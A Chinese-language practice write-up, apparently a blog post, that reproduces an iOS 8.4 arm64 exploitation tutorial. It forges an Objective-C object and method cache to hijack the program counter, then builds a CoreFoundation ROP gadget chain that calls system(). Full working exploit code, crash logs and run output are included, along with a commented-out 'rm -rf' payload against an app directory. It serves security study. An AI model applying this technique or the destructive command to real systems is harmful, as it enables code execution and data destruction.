本文是根据蒸米大佬的文章《iOS冰与火之歌:Objective-C Pwn and iOS arm64 ROP》做的一个实践。
在实践过程中也遇到一些问题,逐步解决。
测试环境
越狱设备:iphone5s
手机系统:iOS 8.4
电脑设备:Macbook Pro
电脑系统:macOS 10.15.1
Class的数据结构
Class 其实是一个指向 objc_class 结构体的指针:
typedef struct objc_class *Class;
而 objc_class 包含很多方法:
struct objc_class {
Class _Nonnull isa OBJC_ISA_AVAILABILITY;
#if !__OBJC2__
Class _Nullable super_class OBJC2_UNAVAILABLE;
const char * _Nonnull name OBJC2_UNAVAILABLE;
long version OBJC2_UNAVAILABLE;
long info OBJC2_UNAVAILABLE;
long instance_size OBJC2_UNAVAILABLE;
struct objc_ivar_list * _Nullable ivars OBJC2_UNAVAILABLE;
struct objc_method_list * _Nullable * _Nullable methodLists OBJC2_UNAVAILABLE;
struct objc_cache * _Nonnull cache OBJC2_UNAVAILABLE;
struct objc_protocol_list * _Nullable protocols OBJC2_UNAVAILABLE;
#endif
} OBJC2_UNAVAILABLE;
Class
的定义是 typedef struct objc_class *Class
isa
: 在Objective-C
中,类自身也是一个对象,这个对象的Class
里面也有一个isa
指针,它指向metaClass
(元类)super_class
:指向该类的父类,如果该类已经是最顶层的根类(如NSObjec
t或NSProxy
),则super_class
为NULL
。cache
:用于缓存最近使用的方法,增加命中率。runtime
会优先去cache
中查找需要调用的方法,如果cache
中没有,才去methodLists
中查找方法。objc_msgSend 的 cache 机制
为了保证消息发送与执行的效率,系统会将全部selector和使用过的方法的内存地址缓存起来。每个类都有一个独立的缓存,缓存包含有当前类自己的selector以及继承自父类的selector。查找调度表(dispatch table)前,消息发送系统首先检查receiver对象的缓存。
利用方法调用的 cache 机制,如果我们可以伪造一个ObjC对象,然后构造一个假的cache,我们就有机会控制PC指针了。
改变程序执行流程
利用cache机制,
main.m的代码:
#import "Talker.h"
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
#import <Foundation/Foundation.h>
#import <CoreFoundation/CoreFoundation.h>
struct fake_receiver_t
{
uint64_t fake_objc_class_ptr;
}fake_receiver;
struct fake_objc_class_t {
char pad[0x10];
void* cache_buckets_ptr;
uint32_t cache_bucket_mask;
} fake_objc_class;
struct fake_cache_bucket_t {
void* cached_sel;
void* cached_function;
} fake_cache_bucket;
int main(void) {
Talker *talker = [[Talker alloc] init];
[talker say: @"Hello, Ice and Fire!"];
[talker say: @"Hello, Ice and Fire!"];
[talker release];
fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));
fake_cache_bucket.cached_function = (void*)0x41414141414141;
NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
fake_objc_class.cache_bucket_mask=0;
fake_receiver.fake_objc_class_ptr=&fake_objc_class;
talker= &fake_receiver;
[talker release];
}
talker.h 代码:
#import <Foundation/Foundation.h>
@interface Talker : NSObject
- (void) say: (NSString*) phrase;
@end
talker.m 代码:
#import "Talker.h"
@implementation Talker
- (void) say: (NSString*) phrase {
NSLog(@"%@\n", phrase);
}
@end
编译代码生成可执行程序 ioshello_2 ,并把程序复制到手机中执行:
iPhone5s:/var/mobile/Documents/test root# ./ioshello_2
2020-07-09 14:41:11.716 ioshello_2[46447:486476] Hello, Ice and Fire!
2020-07-09 14:41:11.722 ioshello_2[46447:486476] Hello, Ice and Fire!
2020-07-09 14:41:11.722 ioshello_2[46447:486476] cached_sel = 0x1936ff52c
2020-07-09 14:41:11.723 ioshello_2[46447:486476] fake_cache_bucket.cached_function = 0x41414141414141
Bus error: 10
程序打印了相关信息,并最终崩溃,越狱手机中安装了CrashReporter插件,帮我们把错误信息保存到了 /var/logs/CrashReporter 路径下,找到错误日志ioshello_2_2020-07-09-144111_iPhone5s.symbolicated.ips ,主要内容如下:
{"blame":[],"app_name":"ioshello_2","app_version":"","slice_uuid":"816b0fd9-5361-3dc9-825b-ab1c7415032b","build_version":"","share_with_app_devs":false,"is_first_party":true,"bug_type":"109","os_version":"iPhone OS 8.4 (12H143)","symbolicated":true,"name":"ioshello_2"}
Incident Identifier: 882D042A-F9ED-40A2-B2B5-779E9D318143
CrashReporter Key: d6da8ea49d8a51707c22d07bf2090870abcddc59
Thread 0 crashed with ARM Thread State (64-bit):
x0: 0x00000001000b4668 x1: 0x00000001936ff52c x2: 0x00000001000b4638 x3: 0x0000000000000010
x4: 0x000000016fd53518 x5: 0x0000000000000041 x6: 0x0000000000000000 x7: 0x0000000000000fa0
x8: 0x00000001000b4450 x9: 0x00000001000b4648 x10: 0x00000001000b4638 x11: 0x0000000000000000
x12: 0x00000001000b4638 x13: 0x00000001000b4648 x14: 0x0000000000003fff x15: 0x0000000000003fff
x16: 0x00000001936ff52c x17: 0x0041414141414141 x18: 0x0000000000000000 x19: 0x0000000000000000
x20: 0x0000000000000000 x21: 0x0000000000000000 x22: 0x0000000000000000 x23: 0x0000000000000000
x24: 0x0000000000000000 x25: 0x0000000000000000 x26: 0x0000000000000000 x27: 0x0000000000000000
x28: 0x000000016fd53810 fp: 0x000000016fd537e0 lr: 0x00000001000b1de0
sp: 0x000000016fd537d0 pc: 0x0041414141414141 cpsr: 0x60000000
可以看到 pc 寄存器已变为 0x0041414141414141 ,因为找不到这个地址对应的代码,因此程序崩溃。
iOS上的arm64 ROP
iOS上使用ROP的原理
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
在iOS上默认是开启ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在内存中的地址也是随机的。所以我们在iOS上使用ROP技术必须配合信息泄露的漏洞才行。虽然在iOS上写ROP非常困难,但有个好消息是虽然program image是随机的,但是每个进程都会加载的dyld_shared_cache这个共享缓存的地址在开机后是固定的,并且每个进程的dyld_shared_cache都是相同的。
寻找gadget
先实现一个简单的ROP,用system()函数执行”touch /tmp/IceAndFire”。因为x0是我们控制的fake_receiver的地址,因此我们可以搜索利用x0来控制其他寄存器的gadgets。
1、dyld_shared_cache文件一般保存在/System/Library/Caches/com.apple.dyld/这个目录下。
从手机导出 dyld_shared_cache_arm64 到电脑备用。
2、从dyld_shared_cache_arm64 提取系统文件
详细方法见此文:iOS逆向_抽取iOS真机系统库文件
https://mp.weixin.qq.com/s/y2hwD4gPc8eJVBAS_o2DXg
3、从上一步导出的系统文件中找到 CoreFoundation 库,并用ROPgadget搜索gadget
自行安装ROPgadget工具,使用下面的命令:
ROPgadget --binary ./CoreFoundation
输出内容很多,只展示部分:
........忽略了很多内容......
0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef8c ; br x1 ; ret
.......忽略了很多内容.......
蒸米大神选择的gadget是:
ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1
我们找一个类似的,从终端打印的全部信息中,搜索”ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, “可以找到多条数据,最终定位到这一条:
0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
可以看到它在 CoreFoundation 中的地址是 0x0000000181ccef6c
用IDA查看上文找到的 CoreFoundation 库,并找到 0x0000000181ccef6c 位置:
确实很适合用来ROP。
再用IDA查看 CoreFoundation 库的起始地址是0x000000181BF0000:
计算 0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
0xDEF6C 就是后面要用到的地址偏移量。
代码利用
随后我们可以构造一个假的结构体,然后给对应的寄存器赋值:
#!objc
struct fake_receiver_t
{
uint64_t fake_objc_class_ptr;
uint8_t pad1[0x70-0x8];
uint64_t x0;
uint8_t pad2[0x98-0x70-0x8];
uint64_t x1;
char cmd[1024];
}fake_receiver;
为fake_receiver 设置system命令:
fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
NSLog(@"system_address = %p", (void*)fake_receiver.x1);
strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");
最后我们将cached_function的值指向我们gagdet的地址就能控制程序执行system()指令了:
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);
//测试机5s_ios8.4的示例:
//0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
//计算 0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0xDEF6C;
编译运行生成 ioshello 程序,复制到手机,运行如下:
iPhone5s:/var/mobile/Documents/test root# chmod +x ioshello
iPhone5s:/var/mobile/Documents/test root# ./ioshello
2020-07-09 16:34:38.311 ioshello[48484:508026] Hello, Ice and Fire!
2020-07-09 16:34:38.317 ioshello[48484:508026] Hello, Ice and Fire!
2020-07-09 16:34:38.318 ioshello[48484:508026] cached_sel = 0x1936ff52c
2020-07-09 16:34:38.318 ioshello[48484:508026] test--image_name = /private/var/mobile/Documents/test/./ioshello
2020-07-09 16:34:38.319 ioshello[48484:508026] test--image_load_address = 0x100024000
2020-07-09 16:34:38.320 ioshello[48484:508026] test--image_name = /System/Library/Frameworks/Foundation.framework/Foundation
2020-07-09 16:34:38.320 ioshello[48484:508026] test--image_load_address = 0x1864bc000
2020-07-09 16:34:38.321 ioshello[48484:508026] test--image_name = /usr/lib/libobjc.A.dylib
2020-07-09 16:34:38.321 ioshello[48484:508026] test--image_load_address = 0x19731c000
2020-07-09 16:34:38.322 ioshello[48484:508026] test--image_name = /usr/lib/libSystem.B.dylib
2020-07-09 16:34:38.323 ioshello[48484:508026] test--image_load_address = 0x19681c000
2020-07-09 16:34:38.323 ioshello[48484:508026] test--image_name = /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
2020-07-09 16:34:38.324 ioshello[48484:508026] test--image_load_address = 0x185588000
2020-07-09 16:34:38.324 ioshello[48484:508026] CoreFoundationbase address = 0x185588000
2020-07-09 16:34:38.325 ioshello[48484:508026] fake_cache_bucket.cached_function = 0x185666f6c
2020-07-09 16:34:38.326 ioshello[48484:508026] system_address = 0x197a73484
iPhone5s:/var/mobile/Documents/test root#
运行正常,并且查看手机 /tmp 路径下,生成了一个 IceAndFire 文件。
总结
1、0xDEF6C 是本文的地址偏移量,请务必根据你的实际操作获取这个值。
2、如果程序运行崩溃,大概率就是你的pc寄存器中的地址错误导致的,务必计算好地址偏移量。
最终的完整代码:
#import "Talker.h"
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>
#import <Foundation/Foundation.h>
#import <CoreFoundation/CoreFoundation.h>
struct fake_receiver_t
{
uint64_t fake_objc_class_ptr;
uint8_t pad1[0x70-0x8];
uint64_t x0;
uint8_t pad2[0x98-0x70-0x8];
uint64_t x1;
char cmd[1024];
}fake_receiver;
struct fake_objc_class_t {
char pad[0x10];
void* cache_buckets_ptr;
uint32_t cache_bucket_mask;
} fake_objc_class;
struct fake_cache_bucket_t {
void* cached_sel;
void* cached_function;
} fake_cache_bucket;
void* find_library_load_address(const char* library_name){
kern_return_t err;
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;
for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
NSLog(@"test--image_name = %s", image_name);
NSLog(@"test--image_load_address = %p", (void*)image_load_address);
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return NULL;
}
int main(void) {
Talker *talker = [[Talker alloc] init];
[talker say: @"Hello, Ice and Fire!"];
[talker say: @"Hello, Ice and Fire!"];
[talker release];
fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));
uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");
NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);
//测试机5s_ios8.4的示例:
//0x0000000181ccef6c : ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0x181ccef88 ; br x1
//计算 0x0000000181ccef6c - 0x000000181BF0000 = 0xDEF6C
fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0xDEF6C;
NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);
fake_receiver.x0=(uint64_t)&fake_receiver.cmd;
fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");
NSLog(@"system_address = %p", (void*)fake_receiver.x1);
strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");
// strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");
fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;
fake_objc_class.cache_bucket_mask=0;
fake_receiver.fake_objc_class_ptr=&fake_objc_class;
talker = &fake_receiver;
[talker release];
}